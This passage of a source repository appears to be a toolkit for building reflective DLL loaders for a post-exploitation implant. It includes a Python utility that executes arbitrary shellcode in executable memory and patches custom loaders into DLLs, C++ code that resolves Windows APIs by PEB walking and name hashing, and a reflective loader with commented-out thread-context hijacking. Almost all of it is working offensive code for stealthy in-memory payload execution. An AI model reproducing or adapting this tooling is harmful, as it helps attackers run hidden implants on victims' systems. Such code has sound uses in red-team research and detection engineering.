dwEnvironmentUpdateCount; 193 | LPVOID lpKernelCallbackTable; 194 | DWORD dwSystemReserved; 195 | DWORD dwAtlThunkSListPtr32; 196 | PPEB_FREE_BLOCK pFreeList; 197 | DWORD dwTlsExpansionCounter; 198 | LPVOID lpTlsBitmap; 199 | DWORD dwTlsBitmapBits[2]; 200 | LPVOID lpReadOnlySharedMemoryBase; 201 | LPVOID lpReadOnlySharedMemoryHeap; 202 | LPVOID lpReadOnlyStaticServerData; 203 | LPVOID lpAnsiCodePageData; 204 | LPVOID lpOemCodePageData; 205 | LPVOID lpUnicodeCaseTableData; 206 | DWORD dwNumberOfProcessors; 207 | DWORD dwNtGlobalFlag; 208 | LARGE_INTEGER liCriticalSectionTimeout; 209 | DWORD dwHeapSegmentReserve; 210 | DWORD dwHeapSegmentCommit; 211 | DWORD dwHeapDeCommitTotalFreeThreshold; 212 | DWORD dwHeapDeCommitFreeBlockThreshold; 213 | DWORD dwNumberOfHeaps; 214 | DWORD dwMaximumNumberOfHeaps; 215 | LPVOID lpProcessHeaps; 216 | LPVOID lpGdiSharedHandleTable; 217 | LPVOID lpProcessStarterHelper; 218 | DWORD dwGdiDCAttributeList; 219 | LPVOID lpLoaderLock; 220 | DWORD dwOSMajorVersion; 221 | DWORD dwOSMinorVersion; 222 | WORD wOSBuildNumber; 223 | WORD wOSCSDVersion; 224 | DWORD dwOSPlatformId; 225 | DWORD dwImageSubsystem; 226 | DWORD dwImageSubsystemMajorVersion; 227 | DWORD dwImageSubsystemMinorVersion; 228 | DWORD dwImageProcessAffinityMask; 229 | DWORD dwGdiHandleBuffer[34]; 230 | LPVOID lpPostProcessInitRoutine; 231 | LPVOID lpTlsExpansionBitmap; 232 | DWORD dwTlsExpansionBitmapBits[32]; 233 | DWORD dwSessionId; 234 | ULARGE_INTEGER liAppCompatFlags; 235 | ULARGE_INTEGER liAppCompatFlagsUser; 236 | LPVOID lppShimData; 237 | LPVOID lpAppCompatInfo; 238 | UNICODE_STR usCSDVersion; 239 | LPVOID lpActivationContextData; 240 | LPVOID lpProcessAssemblyStorageMap; 241 | LPVOID lpSystemDefaultActivationContextData; 242 | LPVOID lpSystemAssemblyStorageMap; 243 | DWORD dwMinimumStackCommit; 244 | } _PEB, * _PPEB; 245 | 246 | typedef struct { 247 | WORD offset : 12; 248 | WORD type : 4; 249 | } IMAGE_RELOC, * PIMAGE_RELOC; 250 | 251 | typedef struct BASE_RELOCATION_BLOCK { 252 | DWORD PageAddress; 253 | DWORD BlockSize; 254 | } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; 255 | 256 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); 257 | 258 | typedef struct { 259 | char* start; 260 | DWORD length; 261 | DWORD offset; 262 | } RDATA_SECTION, *PRDATA_SECTION; 263 | -------------------------------------------------------------------------------- /udrl.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import binascii 3 | import io 4 | import itertools 5 | import pefile 6 | 7 | 8 | def execute(bytes): 9 | """ 10 | A function to execute a user-supplied byte array. This function allocates memory, copies the supplied bytearray into 11 | it and creates a thread of execution. 12 | 13 | Parameters: 14 | bytes (bytearray): The user-supplied shellcode. 15 | """ 16 | import ctypes 17 | 18 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p 19 | ctypes.windll.kernel32.RtlMoveMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t) 20 | ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int)) 21 | 22 | memory_allocation = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(bytes)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) 23 | if memory_allocation is not None: 24 | shellcode = (ctypes.c_char * len(bytes)).from_buffer_copy(bytes) 25 | print(f"[+] Start Address: {hex(memory_allocation)}") 26 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(memory_allocation), shellcode, ctypes.c_size_t(len(bytes))) 27 | handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(memory_allocation), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) 28 | if handle is not None: 29 | print("[+] Shellcode Executed") 30 | ctypes.windll.kernel32.WaitForSingleObject(handle, -1) 31 | 32 | 33 | def xxd(name, data): 34 | """ 35 | A function to convert a bytearray into an unsigned char array initializer. 36 | 37 | Parameters: 38 | name (str): The name of the unsigned char array. 39 | data (bytearray): The binary data to be converted into the array initializer. 40 | 41 | Returns: 42 | str: A string representation of the array initializer. 43 | """ 44 | template = "unsigned char %s[] = {\n %s\n};" 45 | hexs = map(lambda x: '0x%02x' % x, data) 46 | groups = itertools.zip_longest(*[iter(hexs)] * 16) 47 | groups = map(lambda x: ', '.join(filter(None, x)), groups) 48 | lines = ',\n '.join(groups) 49 | return template % (name, lines) 50 | 51 | 52 | def stomp_loader(ldr, rdll): 53 | """ 54 | A function to overwrite a reflective DLL's ReflectiveLoader() function with a custom loader. 55 | 56 | Parameters: 57 | ldr (bytearray): The user-defined reflective loader 58 | rdll (bytearray): The input DLL 59 | 60 | Returns: 61 | bytearray: The updated DLL. 62 | """ 63 | input_dll = pefile.PE(data=rdll) 64 | export_directory = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]] 65 | input_dll.parse_data_directories(directories=export_directory) 66 | text_virtual_address = 0 67 | text_raw_data = 0 68 | 69 | for section in input_dll.sections: 70 | if b'.text' in section.Name: 71 | text_virtual_address = section.VirtualAddress 72 | text_raw_data = section.PointerToRawData 73 | 74 | for export in input_dll.DIRECTORY_ENTRY_EXPORT.symbols: 75 | # _ReflectiveLoader@4 is the name of the exported function in x86 76 | if (export.name == b"ReflectiveLoader" or export.name == b"_ReflectiveLoader@4"): 77 | RVA = export.address 78 | file_offset = RVA - text_virtual_address + text_raw_data 79 | print(f"[*] Found ReflectiveLoader - RVA: {hex(export.address)}\tFile Offset: {hex(file_offset)}") 80 | result = input_dll.set_bytes_at_offset(file_offset, ldr) 81 | if result: 82 | print("[+] Success: Applied UDRL to DLL") 83 | updated_rdll = bytearray(input_dll.__data__) 84 | return updated_rdll 85 | else: 86 | raise Exception("[-] Error: failed to apply UDRL") 87 | raise Exception("[-] Error: unable to find exported function") 88 | 89 | 90 | def extract_custom_loader(peFile): 91 | """ 92 | A function to extract the .text from a given executable. 93 | 94 | Parameters: 95 | peFile (bytearray): The user-supplied executable. 96 | 97 | Returns: 98 | bytearray: The user-defined reflective loader. 99 | """ 100 | pe = pefile.PE(data=peFile) 101 | found_text_section = False 102 | for section in pe.sections: 103 | if b'.text' in section.Name: 104 | found_text_section = True 105 | data = section.get_data(ignore_padding=True) 106 | while data[-1] == 0: 107 | data = data[:-1] 108 | print("[+] Success: Extracted loader") 109 | return data 110 | if not found_text_section: 111 | peFile.close() 112 | raise Exception("[-] Error: loader not found") 113 | return 114 | 115 | 116 | def cmd_run(args): 117 | """ 118 | A command function that runs a given DLL via a user-defined reflective loader. 119 | 120 | Parameters: 121 | args (argparse.Namespace): The user supplied arguments (cmd, loader_exe, input_dll) 122 | """ 123 | loader = extract_custom_loader(args.loader_exe.read()) 124 | input_dll = args.input_dll.read() 125 | args.loader_exe.close() 126 | args.input_dll.close() 127 | print(f"[*] Size of loader: {len(loader)}") 128 | if args.cmd == "stomp-udrl": 129 | rdll = stomp_loader(loader, input_dll) 130 | execute(rdll) 131 | elif args.cmd == "prepend-udrl": 132 | execute(loader + input_dll) 133 | 134 | 135 | def cmd_execute_payload(args): 136 | """ 137 | A command function to execute abitrary shellcode. 138 | 139 | Parameters: 140 | args (argparse.Namespace): The user supplied arguments (payload_bin) 141 | """ 142 | payload = args.payload_bin.read() 143 | args.payload_bin.close() 144 | execute(payload) 145 | 146 | 147 | def cmd_xxd(args): 148 | """ 149 | A command function that uses xxd() to convert a bytearray into an unsigned char array initializer. 150 | 151 | Parameters: 152 | args (argparse.Namespace): The user supplied arguments (binary_file, output_file) 153 | """ 154 | file_output = xxd("debug_dll", args.binary_file.read()) 155 | args.output_file.write(file_output) 156 | print(f"[+] Success: Written {args.binary_file.name} to {args.output_file.name}") 157 | 158 | 159 | def cmd_extract(args): 160 | """ 161 | A command function that uses extract_custom_loader() to extract a user-defined reflective loader from a given udrl-vs executable. 162 | 163 | Parameters: 164 | args (argparse.Namespace): The user supplied arguments (loader_exe, output_file) 165 | """ 166 | loader = extract_custom_loader(args.loader_exe.read()) 167 | args.output_file.write(loader) 168 | print(f"[+] Success: Written UDRL to {args.output_file.name}. Total Size: {len(loader)} bytes") 169 | 170 | 171 | def main(): 172 | print(""" 173 | _ _ 174 | | | | | 175 | _ _ __| |_ __| | _ __ _ _ 176 | | | | |/ _` | '__| | | '_ \| | | | 177 | | |_| | (_| | | | |_| |_) | |_| | 178 | \__,_|\__,_|_| |_(_) .__/ \__, | 179 | | | __/ | 180 | |_| |___/ 181 | """) 182 | 183 | parser = argparse.ArgumentParser(description='A simple Python utility to speed up development of User-Defined Reflective Loaders (UDRLs)') 184 | 185 | sub_parsers = parser.add_subparsers(required=True, dest="cmd") 186 | 187 | parser_xxd = sub_parsers.add_parser('xxd', help='Outputs a given binary in C include file style.') 188 | parser_xxd.add_argument('binary_file', type=argparse.FileType('rb')) 189 | parser_xxd.add_argument('output_file', type=argparse.FileType('w')) 190 | parser_xxd.set_defaults(func=cmd_xxd) 191 | 192 | parser_extract = sub_parsers.add_parser('extract-udrl', help='Extracts the .text section (the UDRL) from the provided executable and saves it to the specified output file.') 193 | parser_extract.add_argument('loader_exe', type=argparse.FileType('rb')) 194 | parser_extract.add_argument('output_file', type=argparse.FileType('wb')) 195 | parser_extract.set_defaults(func=cmd_extract) 196 | 197 | parser_stomp = sub_parsers.add_parser('stomp-udrl', help='Extracts the .text section (the UDRL) from the provided executable, overwrites the existing ReflectiveLoader() in the provided DLL and executes it.') 198 | parser_stomp.add_argument('input_dll', type=argparse.FileType('rb')) 199 | parser_stomp.add_argument('loader_exe', type=argparse.FileType('rb')) 200 | parser_stomp.set_defaults(func=cmd_run) 201 | 202 | parser_prepend = sub_parsers.add_parser('prepend-udrl', help='Extracts the .text section (the UDRL) from the provided executable, prepends it to the provided DLL and executes it.') 203 | parser_prepend.add_argument('input_dll', type=argparse.FileType('rb')) 204 | parser_prepend.add_argument('loader_exe', type=argparse.FileType('rb')) 205 | parser_prepend.set_defaults(func=cmd_run) 206 | 207 | parser_execute_payload = sub_parsers.add_parser('execute-payload', help='Executes the supplied payload file.') 208 | parser_execute_payload.add_argument('payload_bin', type=argparse.FileType('rb')) 209 | parser_execute_payload.set_defaults(func=cmd_execute_payload) 210 | 211 | args = parser.parse_args() 212 | args.func(args) 213 | 214 | 215 | if __name__ == "__main__": 216 | main() 217 | -------------------------------------------------------------------------------- /library/FunctionResolving.cpp: -------------------------------------------------------------------------------- 1 | #include "FunctionResolving.h" 2 | #include "LoaderTypes.h" 3 | #include "StdLib.h" 4 | 5 | /******************************************************************* 6 | * To avoid problems with function positioning, do not add any new 7 | * functions above this pragma directive. 8 | ********************************************************************/ 9 | #pragma code_seg(".text$d") 10 | 11 | /** 12 | * Find the address of a target function within a loaded module. 13 | * 14 | * @param pebAddress A pointer to the Process Environment Block (PEB). 15 | * @param moduleHash A hash of the target module name 16 | * @param functionHash A hash of the target function name 17 | * @return A pointer to the target function. 18 | */ 19 | ULONG_PTR GetProcAddressByHash(_PPEB pebAddress, DWORD moduleHash, DWORD functionHash) { 20 | // Get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 21 | PPEB_LDR_DATA ldrData = (PPEB_LDR_DATA)(pebAddress)->pLdr; 22 | 23 | // Get the first entry of the InMemoryOrder module list 24 | PLDR_DATA_TABLE_ENTRY currentLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)ldrData->InMemoryOrderModuleList.Flink; 25 | while (currentLdrDataTableEntry) { 26 | // Get pointer to current module's name (unicode string) 27 | PWSTR dllName = currentLdrDataTableEntry->BaseDllName.pBuffer; 28 | 29 | // Set counter to the length for the loop 30 | USHORT nameLength = currentLdrDataTableEntry->BaseDllName.Length / 2; 31 | 32 | // Compute the hash of the module name... 33 | DWORD moduleNameHash = 0; 34 | do { 35 | moduleNameHash = _rotr(moduleNameHash, HASH_KEY); 36 | // Normalize to uppercase if the module name is in lowercase 37 | if (*dllName >= 'a') { 38 | moduleNameHash += *dllName - 0x20; 39 | } 40 | else { 41 | moduleNameHash += *dllName; 42 | } 43 | dllName++; 44 | } while (--nameLength); 45 | 46 | if (moduleNameHash == moduleHash) { 47 | // Get this module's base address 48 | ULONG_PTR moduleBaseAddress = (ULONG_PTR)currentLdrDataTableEntry->DllBase; 49 | 50 | // Get the VA of the module's PE Header 51 | PIMAGE_DOS_HEADER moduleDosHeader = (PIMAGE_DOS_HEADER)moduleBaseAddress; 52 | PIMAGE_NT_HEADERS modulePEHeader = (PIMAGE_NT_HEADERS)(moduleBaseAddress + moduleDosHeader->e_lfanew); 53 | 54 | // ExportDataDirectoryEntry = the address of the module's export directory entry 55 | PIMAGE_DATA_DIRECTORY exportDataDirectoryEntry = &modulePEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 56 | 57 | // Get the VA of the export directory 58 | PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBaseAddress + exportDataDirectoryEntry->VirtualAddress); 59 | 60 | // Get the VA for the array of name pointers 61 | ULONG_PTR nameArray = moduleBaseAddress + exportDirectory->AddressOfNames; 62 | 63 | // Get the VA for the array of name ordinals 64 | ULONG_PTR ordinalArray = moduleBaseAddress + exportDirectory->AddressOfNameOrdinals; 65 | 66 | // Loop while we still have imports to find 67 | while (nameArray) { 68 | // Compute the hash values for this function name 69 | DWORD functionNameHash = RunTimeHash((char*)(moduleBaseAddress + DEREF_32(nameArray))); 70 | 71 | // If we have found a function we want, get its virtual address 72 | if (functionNameHash == functionHash) { 73 | // Get the VA for the array of addresses 74 | ULONG_PTR addressArray = moduleBaseAddress + exportDirectory->AddressOfFunctions; 75 | 76 | // Use this function's name ordinal as an index into the array of name pointers 77 | addressArray += DEREF_16(ordinalArray) * sizeof(DWORD); 78 | 79 | // Store this function's VA 80 | return moduleBaseAddress + DEREF_32(addressArray); 81 | } 82 | // Get the next exported function name 83 | nameArray += sizeof(DWORD); 84 | 85 | // Get the next exported function name ordinal 86 | ordinalArray += sizeof(WORD); 87 | } 88 | } 89 | // Get the next entry 90 | currentLdrDataTableEntry = *(PLDR_DATA_TABLE_ENTRY*)currentLdrDataTableEntry; 91 | } 92 | return NULL; 93 | } 94 | 95 | /** 96 | * Resolve the base loader functions. 97 | * 98 | * @param pebAddress A pointer to the Process Environment Block (PEB). 99 | * @param winApi A pointer to a structure of WINAPI pointers. 100 | * @return A Boolean value to indicate success. 101 | */ 102 | BOOL ResolveBaseLoaderFunctions(_PPEB pebAddress, PWINDOWSAPIS winApi, PNTSAPIS ntApi, POTHERSAPIS otherApi) { 103 | winApi->LoadLibraryA = (LOADLIBRARYA)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, LOADLIBRARYA_HASH); 104 | if (winApi->LoadLibraryA == NULL) { 105 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 106 | return FALSE; 107 | } 108 | winApi->GetProcAddress = (GETPROCADDRESS)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, GETPROCADDRESS_HASH); 109 | if (winApi->GetProcAddress == NULL) { 110 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 111 | return FALSE; 112 | } 113 | winApi->VirtualAlloc = (VIRTUALALLOC)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, VIRTUALALLOC_HASH); 114 | if (winApi->VirtualAlloc == NULL) { 115 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 116 | return FALSE; 117 | } 118 | winApi->VirtualProtect = (VIRTUALPROTECT)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, VIRTUALPROTECT_HASH); 119 | if (winApi->VirtualProtect == NULL) { 120 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 121 | return FALSE; 122 | } 123 | winApi->NtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTFLUSHINSTRUCTIONCACHE_HASH); 124 | if (winApi->NtFlushInstructionCache == NULL) { 125 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 126 | return FALSE; 127 | } 128 | 129 | 130 | ntApi->NtCreateThreadEx = (NT_CREATETHREADEX)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTCreateThreadEx_HASH); 131 | if (ntApi->NtCreateThreadEx == NULL) { 132 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 133 | return FALSE; 134 | } 135 | 136 | ntApi->NtGetContextThread = (NT_GETCONTEXTTHREAD)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTGetContextThread_HASH); 137 | if (ntApi->NtGetContextThread == NULL) { 138 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 139 | return FALSE; 140 | } 141 | 142 | ntApi->NtSetContextThread = (NT_SETCONTEXTTHREAD)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTSetContextThread_HASH); 143 | if (ntApi->NtSetContextThread == NULL) { 144 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 145 | return FALSE; 146 | } 147 | 148 | ntApi->NtResumeThread = (NT_RESUMETHREAD)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTResumeThread_HASH); 149 | if (ntApi->NtResumeThread == NULL) { 150 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 151 | return FALSE; 152 | } 153 | 154 | ntApi->RtlCaptureContext = (RTL_CAPTURECONTEXT)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, RtlCaptureContext_HASH); 155 | if (ntApi->RtlCaptureContext == NULL) { 156 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 157 | return FALSE; 158 | } 159 | 160 | winApi->VirtualFree = (VIRTUALFREE)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, VirtualFree_HASH); 161 | if (winApi->VirtualFree == NULL) { 162 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 163 | return FALSE; 164 | } 165 | 166 | ntApi->NtContinue = (NT_CONTINUE)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NtContinue_HASH); 167 | if (ntApi->NtContinue == NULL) { 168 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 169 | return FALSE; 170 | } 171 | 172 | ntApi->RtlExitUserThread = (RTL_EXITUSERTHREAD)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, RtlExitUserThread_HASH); 173 | if (ntApi->RtlExitUserThread == NULL) { 174 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 175 | return FALSE; 176 | } 177 | 178 | winApi->TpReleaseCleanupGroupMembers = (PVOID)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, TpReleaseCleanupGroupMembers_HASH); 179 | if (winApi->TpReleaseCleanupGroupMembers == NULL) { 180 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 181 | return FALSE; 182 | } 183 | 184 | otherApi->WaitForSingleObject = (WAITFORSINGLEOBJECTS)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, WAITFORSINGLEOBJECTS_HASH); 185 | if (otherApi->WaitForSingleObject == NULL) { 186 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 187 | return FALSE; 188 | } 189 | 190 | otherApi->UnmapViewOfFile = (UNMAPVIEWOFFILE)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, UNMAPVIEWOFFILE_HASH); 191 | if (otherApi->UnmapViewOfFile == NULL) { 192 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 193 | return FALSE; 194 | } 195 | 196 | otherApi->VirtualQuery = (VIRTUALQUERY)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, VIRTUALQUERY_HASH); 197 | if (otherApi->VirtualQuery == NULL) { 198 | PRINT("[-] Failed to find address of key loader function. Exiting..\n"); 199 | return FALSE; 200 | } 201 | 202 | return TRUE; 203 | } 204 | -------------------------------------------------------------------------------- /examples/postex-loader/ReflectiveLoader.cpp: -------------------------------------------------------------------------------- 1 | 2 | //===============================================================================================// 3 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 4 | // All rights reserved. 5 | // 6 | // Redistribution and use in source and binary forms, with or without modification, are permitted 7 | // provided that the following conditions are met: 8 | // 9 | // * Redistributions of source code must retain the above copyright notice, this list of 10 | // conditions and the following disclaimer. 11 | // 12 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 13 | // conditions and the following disclaimer in the documentation and/or other materials provided 14 | // with the distribution. 15 | // 16 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 17 | // endorse or promote products derived from this software without specific prior written permission. 18 | // 19 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 20 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 21 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 22 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 23 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 25 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 26 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 27 | // POSSIBILITY OF SUCH DAMAGE. 28 | //===============================================================================================// 29 | 30 | #include "ReflectiveLoader.h" 31 | #include "End.h" 32 | #include "Utils.h" 33 | #include "FunctionResolving.h" 34 | #include "StdLib.h" 35 | 36 | #include "CleanJob.h" 37 | 38 | /** 39 | * The position independent reflective loader 40 | * 41 | * @return The target DLL's entry point 42 | */ 43 | extern "C" { 44 | 45 | 46 | #pragma code_seg(".text$a") 47 | void WINAPI ReflectiveLoader(LPVOID loaderArgument) { 48 | // STEP 0: Determine the start address of the loader 49 | #ifdef _WIN64 50 | // A rip relative address is calculated in x64 51 | void* loaderStart = &ReflectiveLoader; 52 | #elif _WIN32 53 | /* 54 | * &ReflectiveLoader does not work on x86, since it does not support eip relative addressing 55 | * Therefore, it is calculated by substracting the function prologue from the current address 56 | * This is subject to change depending upon the compiler/compiler settings. This could result 57 | * in issues with Beacon/the postex DLL's cleanup routines. As a result, when writing x86 loaders 58 | * we strongly recommend verifying that the correct value is subtracted from the result of 59 | * GetLocation(). GetLocation() will return the address of the instruction following 60 | * the function call. In the example below, GetLocation() returns 0x0000000D which is why 61 | * we subtract 0xD to get back to 0x0. In our testing, this value can change and can sometimes 62 | * cause crashes during cleanup. 63 | * 64 | * The generated disassembly from IDA: 65 | * 66 | * text:00000000 push ebp 67 | * text:00000001 mov ebp, esp 68 | * text:00000003 sub esp, 24h 69 | * text:00000006 push esi 70 | * text:00000007 push edi 71 | * text:00000008 call GetLocation 72 | * text:0000000D sub eax, 11h 73 | */ 74 | void* loaderStart = (char*)GetLocation() - 0xE; 75 | #endif 76 | PRINT("[+] Loader Base Address: %p\n", loaderStart); 77 | 78 | // STEP 1: Determine the base address of whatever we are loading 79 | ULONG_PTR rawDllBaseAddress = FindBufferBaseAddress(); 80 | PRINT("[+] Raw DLL Base Address: %p\n", rawDllBaseAddress); 81 | 82 | // STEP 2: Determine the location of NtHeader 83 | PIMAGE_DOS_HEADER rawDllDosHeader = (PIMAGE_DOS_HEADER)rawDllBaseAddress; 84 | PIMAGE_NT_HEADERS rawDllNtHeader = (PIMAGE_NT_HEADERS)(rawDllBaseAddress + rawDllDosHeader->e_lfanew); 85 | 86 | // STEP 3: Resolve the functions our loader needs... 87 | _PPEB pebAddress = GetPEBAddress(); 88 | WINDOWSAPIS winApi = { 0 }; 89 | NTSAPIS ntApi = { 0 }; 90 | OTHERSAPIS otherApi = { 0 }; 91 | if (!ResolveBaseLoaderFunctions(pebAddress, &winApi, &ntApi, &otherApi)) { 92 | return; 93 | } 94 | 95 | DWORD myselfsize = 0; 96 | LPVOID CleanJobAddr = GetCleanData(&myselfsize); 97 | /** 98 | * STEP 4: Create a new location in memory for the loaded image... 99 | * We're using PAGE_EXECUTE_READWRITE as it's an example. 100 | */ 101 | ULONG_PTR loadedDllBaseAddress = (ULONG_PTR)winApi.VirtualAlloc(NULL, rawDllNtHeader->OptionalHeader.SizeOfImage + myselfsize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 102 | if (loadedDllBaseAddress == NULL) { 103 | PRINT("[-] Failed to allocate memory. Exiting..\n"); 104 | return; 105 | } 106 | else { 107 | PRINT("[+] Allocated memory: 0x%p\n", loadedDllBaseAddress); 108 | } 109 | 110 | _memcpy((void*)loadedDllBaseAddress, CleanJobAddr, myselfsize); 111 | 112 | // STEP 5: Copy in our headers/sections... 113 | if (!CopyPEHeader(rawDllBaseAddress, loadedDllBaseAddress + myselfsize)) { 114 | PRINT("[-] Failed to copy PE header. Exiting..\n"); 115 | return; 116 | }; 117 | if (!CopyPESections(rawDllBaseAddress, loadedDllBaseAddress + myselfsize)) { 118 | PRINT("[-] Failed to copy PE sections. Exiting..\n"); 119 | return; 120 | }; 121 | 122 | // STEP 6: Resolve rdata information 123 | RDATA_SECTION rdata = { 0 }; 124 | if (!ResolveRdataSection(rawDllBaseAddress, loadedDllBaseAddress + myselfsize, &rdata)) { 125 | PRINT("[-] Failed to resolve rdata information. Exiting..\n"); 126 | return; 127 | }; 128 | 129 | // STEP 7: Process the target DLL's import table... 130 | ResolveImports(rawDllNtHeader, loadedDllBaseAddress + myselfsize, &winApi); 131 | 132 | // STEP 8: Process the target DLL's relocations... 133 | ProcessRelocations(rawDllNtHeader, loadedDllBaseAddress + myselfsize); 134 | 135 | // STEP 9: Find the target DLL's entry point 136 | ULONG_PTR entryPoint = loadedDllBaseAddress + myselfsize + rawDllNtHeader->OptionalHeader.AddressOfEntryPoint; 137 | PRINT("[+] Entry point: %p \n", entryPoint); 138 | 139 | /** 140 | * STEP 10: Call the target DLL's entry point 141 | * We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 142 | */ 143 | winApi.NtFlushInstructionCache((HANDLE)-1, NULL, 0); 144 | 145 | // Call DllMain twice to ensure that post-ex DLL is set up correctly. 146 | PRINT("[*] Calling the entry point\n"); 147 | //((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, (LPVOID)0x0A2A1DE0); 148 | //((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, 5, (LPVOID)NULL); 149 | 150 | ((void (*)(DLLMAIN, ULONG_PTR, void*, NT_CREATETHREADEX, NT_GETCONTEXTTHREAD, RTL_EXITUSERTHREAD, NT_SETCONTEXTTHREAD, NT_RESUMETHREAD, WAITFORSINGLEOBJECTS, VIRTUALFREE, RTL_CAPTURECONTEXT, NT_CONTINUE, VIRTUALQUERY, PVOID, UNMAPVIEWOFFILE)) loadedDllBaseAddress)((DLLMAIN)entryPoint, loadedDllBaseAddress + myselfsize, loaderStart, ntApi.NtCreateThreadEx, ntApi.NtGetContextThread, ntApi.RtlExitUserThread, ntApi.NtSetContextThread, ntApi.NtResumeThread, otherApi.WaitForSingleObject, winApi.VirtualFree, ntApi.RtlCaptureContext, ntApi.NtContinue, otherApi.VirtualQuery, winApi.TpReleaseCleanupGroupMembers, otherApi.UnmapViewOfFile); 151 | 152 | 153 | // HANDLE hThread = NULL; 154 | // CONTEXT CtxEntry; 155 | // CONTEXT CtxFreeMem; 156 | // MEMORY_BASIC_INFORMATION mbi; 157 | // 158 | // if (NT_SUCCESS(ntApi.NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (PVOID)((ULONG_PTR)winApi.TpReleaseCleanupGroupMembers + (ULONG_PTR)0x8950), NULL, TRUE, 0, 0, 0, NULL))) 159 | // { 160 | // CtxEntry.ContextFlags = CONTEXT_FULL; 161 | // ntApi.NtGetContextThread(hThread, &CtxEntry); 162 | // 163 | // 164 | //#ifdef _WIN64 165 | // CtxEntry.Rip = UINT_PTR(entryPoint); 166 | // CtxEntry.Rcx = UINT_PTR(loadedDllBaseAddress); 167 | // CtxEntry.Rdx = UINT_PTR(DLL_PROCESS_ATTACH); 168 | // *(ULONG_PTR*)CtxEntry.Rsp = UINT_PTR(ntApi.RtlExitUserThread); 169 | // 170 | //#elif _WIN32 171 | // 172 | // DWORD* originalStack = (DWORD*)CtxEntry.Esp; 173 | // 174 | // DWORD* newStack = originalStack - 4; 175 | // 176 | // newStack[0] = (DWORD)UINT_PTR(ntApi.RtlExitUserThread); 177 | // newStack[1] = (DWORD)loadedDllBaseAddress; 178 | // newStack[2] = (DWORD)DLL_PROCESS_ATTACH; 179 | // 180 | // CtxEntry.Esp = (DWORD)newStack; 181 | // 